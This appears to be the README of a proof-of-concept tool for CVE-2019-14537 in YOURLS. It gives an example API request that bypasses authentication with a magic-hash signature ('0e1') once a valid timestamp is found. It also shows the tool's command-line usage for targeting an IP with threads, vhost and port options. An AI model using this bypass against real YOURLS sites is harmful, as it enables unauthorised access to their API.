wocanilo/cve-2019-14537CVE-2019-14537 PoC
有効なタイムスタンプを取得すると、APIにリクエストを送信できるようになります。
http://domain.com/yourls-api.php?signature=0e1&action=db-stats×tamp=VALID_TIMESTAMP
usage: main.py [-h] [--vhost VHOST] [--threads THREADS] [--path PATH]
[--port PORT]
[ip]
CVE-2019-14537 PoC
positional arguments:
ip Yourls IP
optional arguments:
-h, --help show this help message and exit
--vhost VHOST host name (domain name)
--threads THREADS number of threads (default: 10)
--path PATH yourls-api.php path (default: /yourls-api.php)
--port PORT port (default: 80)